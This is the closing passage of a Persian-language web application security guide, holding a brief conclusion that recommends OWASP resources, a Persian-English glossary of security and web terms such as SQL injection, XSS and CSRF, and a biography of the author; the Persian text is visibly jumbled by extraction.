حمله٩٠ ارهای مطرح شده در این سند، بیش از موارد امنیت  و راه های نفوذگران % 
های مبتن  دهند و رعایت صحیح آنها، سیستمهای نفوذگران مبتدی را پوشش م و تمام حمله

سازد. برای جلوگیری از مابق  مخاطرات، سازمان باید بر وب را تا حد قابل قبول  مستح م م 
های آزادی مانند گیری از سازمانعات و همچنین بهرهنسبت به استخدام متخصص امنیت اطلا

OWASP .روی بیاورد  
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  نامهواژه ۶
AAA  مخفف عبارتAuthentication, Authorization, Accounting 

ACID  مخفف عبارتAtomicity, Consistency, Isolation, Durability 

ADO.NET تتکنولوژی انتزاع  سازی دسترس  به پای اه مای روساف  
AES  استاندارد رمزنگاری متقارن بلوک 

AJAX  مخففAsynchronous Javascript And XML 

APT یافته  های سایبری سازمانحملهAdvanced Persistent Threat 

ASLR  چیدمان تصادف  حافظهAddress Space Layout Randomization 

ASP  تکنولوژی سرور مای روسافتActive Server Pages 

Abstraction Layer لایه انتزاع  سازی 

Access Control  کنترل دسترس 

Agile افزار چاب های مهندس  نرمروش 

Atomicity  کند تراکنش عملیات اتم  باشدرفتار مطلوب پای اه  که تضمین م 

Availability در دسترس بودن ی  سیستم و خارج نشدن آن از مدار  
Backward Compatible دهدستم  که پشتیبان  از نس  قدیم  خود را انجام م سی 

Benchmark تست کارایی به تعداد بالا 

Birthday Theorem قضیه روز تولد 

Blind SQL Injection تزریق درخواست کور 

Bloat  افزارهای زیادی و زائد به نرمافزودن ویژگ 

Bursty انفجاری 

CAPTCHA ینسیستم تشخیص انسان از ماش 

CIA  مخففConfidentiality, Integrity, Availability 

CSRF   جعل درخواست بین سایتCross Site Request Forgery 
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CSS زبان قالب بندی صفحات وب 

Certificate Authorotiy مرج  تایید و اعطای گواهینامه دیجیتال 

Component مولفه 

Concat چسباندن، افزودن 

Confidentiality محرمانگ ، عدم ام ان خواندن اطلاعات توسط افراد غیر 

Connection Pool انباره اتصال 

Consistency دادههای پای اهی پارچ  ، عدم ناهماهنگ  بین داده 

Content محتوی 

Cookie های کاوش رهای وبشیرین ، کلوچه، از قابلیت 

CppCMS 
 

DML  دستورات دستکاری دادهData Manipulation Language 

DOS  جلوگیری از سرویسDenial of Service 

Daemon شودافزاری که در قالب سرویس بر روی سیستم اجرا م غول، نرم 

Deployment اندازی، نصبراه 

Durability ماندداده مدتهای زیادی سالم م های پای اهمانایی، داده 

ECMAScript ی مشابههانام اصل  جاواس ریپت و زبان 

Encryption رمزگذاری 

Escaping گذاری کاراکترهای خاص در ی  متنرهایی، عملیات نشانه 

Event رخداد 

Exploit  کندسوء استفاده، ابزار یا کدی که معضل امنیت  را استفاده م 

FIPS موسسه استاندارد مل  آمری ا 

Front Controller  کنترل ر محوری در ساختارMVC  
HTML زبان ارائه محتوای وب 

HTTP پروتکل انتقال محتوای وب 
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HTTP Range قسمت  از پروتکل که مخصوص ادامه دانلود است  
HTTPS پروتکل انتقال امن محتوای وب 

Hardcode قراردادن داده متغیر در متن برنامه 

Hierarchical RBAC کنترل دسترس  نقش محور سلسله مراتبی 

High Availability هایی که همیشه در دسترس هستندسیستم 

Host میزبان، سرور 

IDS  سیست  تشخی  حملهIntrusion Detection System 

IP Binding  تقیدIP 

Information Assurance تضمین اطلاعات 

Integrity 
 

Internationalization چندزبان ، جهان  سازی 

Isolation  از تاثیرگذاری ی  درخواست در دی ریانزوا، تجزیه، فرایند جلوگیری 

JSON  قالب ارائه محتوی جاواس ریپتJavascript Object Notation 

JSONP JSON  به همراهPadding  
JSP  صفحات سرور جاواJava Server Pages 

Java جاوا 

Javascript جاواس ریپت 

Kernel هسته سیستم عامل 

LFI  مخففLocal File Inclusion 

LGPL لیسانس آزاد محصولات متن باز Lesser General Public License  

Lynx کاوش ر تحت کنسول 

MVC  مخففModel View Controller 

NAT  مخففNetwork Address Translation 

Native  محل ، بوم 
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OAuth  احراز هویت باز و محوری معمولا باOpenID 

ORM  مخففObject Relational Mapping 

OWASP معتبرترین موسسه بین الملل  امنیت وب 

Permission مجوز 

Persistant مانا 

Query درخواست 

RDBMS ایسیستم مدیریت پای اه داده رابطه 

RPC  مخففRemote Procedure Callفراخوان  تابع از دور ،  
Rainbow Table  جداول رنگین کمان 

Reflected XSS XSS منعکس شده  
Refresh بروز کردن 

Remember Me مرا به خاطر داشته باش 

Response Body  درخواست بدنه پاس 

SEO Search Engine Optimizationبهینه سازی برای موتور جستجو ،  
SOAP پروتکل استاندارد وب سرویس 

SOP Same Origin Policyقانون دسترس  به عنصر ایجاد کننده ،  
SQL Structured Query Language 

SQL Injection تزریق درخواست 

SaaS Software as a Serviceی   از مفاهیم رایانش ابری ،  
Sandbox جعبه شن، محیط تست رفتار ی  سیستم 

Scalability گسترش پذیری 

Session Hijacking سرقت نشست 

Session ID شناس  نشست 

Stateless ا به یاد نداردبدون وضعیت، سیستم  که درخواست قبل  ر 
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Static ایستا 

TDD  توسعه مبتن  بر تستTest Driven Development 

Thin Client هایی که تنها کاوش ر وب دارندمشتری سب ، سیستم 

Third Party شخص  الث 

Token علامت، نشانه، شناسه 

Union Bypassing  گذر اجتماع 

User Agent نام و مشخصات کاوش ر وب 

Vector بردار، راه ارهای عبور از لیست سیاه 

World Wide Web تور گسترده جهان ، وب 

XML Extensible Markup Language پذیرزبان برچسبی گسترش  
XMLHTTPRequest 

 
XSS   اس ریپت نویس  بین سایت Cross Site Scripting  
gcc  کامپایلر استاندارد س 

iFrame ه وب داخل ی  صفحه دی رتکنولوژی قرار دادن ی  صفح 

localhost نام مخفف  برای دسترس  به سیستم خود در شب ه 

metadata ی دادهمتاداده، داده در باره 
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  ضمایم ٩

 درباره نگارنده ٩٬١

تخصص امنیت اطلاعات و نماینده ایران در اواسپ است. وی عباس نادری افوشته، م
سال سابقه کار تخصص  امنیت  ۵افزار و بیش از سال سابقه کار تخصص  توسعه نرم ١٠بیش از 

  اطلاعات دارد.

همچنین او برای مقط  دکترا از چندین دانش اه آمری ا و انگلستان دعوتنامه داشته 
های دوم، پنجم، سوم و اول وذگری ایران دارای رتبهاست. عباس در سه دوره مسابقات نف

الملل  به عنوان متخصص امنیت اطلاعات و افتخاری شده است. وی همچنین در سط  بین
  نفوذگر برجسته شناخته شده است.

باز بزرگ هم اری دارد. زیرساخت الملل  متنپروژه بین ١٠عباس در بیش از 
OpenStackسیستم عامل اوبونتو، فا ، ،   از این دسته هستند. PyQtو  SQLCipherیرفاکس

سیمنار و کارگاه عموم  مختلف بزگزار نموده است. وی چندین درس  ٣٠او بیش از 
  درس بوده است. ٢٠های مختلف ارائه داده، راهنمای بیش از آموزش  و پژوهش  را در دانش اه

الملل  انجمن بین افزار و عضویت درتدوین سوالات آزمون تخصص  مهندس  امن نرم
  های اوست.افزار امن، از دی ر فعالیتمهندس  نرم

بوده و به فلسفه نیز علاقه قابل توجه  دارد.  jFrameworkدهنده اصل  عباس توسعه
  اند. مقاله آزاد منتشر کرده که هرکدام هزاران بار دانلود و مطالعه شده ٢٠او بیش از 

الملل  توسط او ن سازمان تجاری و موسسه بیناین مستند پس از کسب تجربه در چندی
.م  www.abiusx.com نگارش شده است. سایت رسم  وی    باشد

http://www.abiusx.com

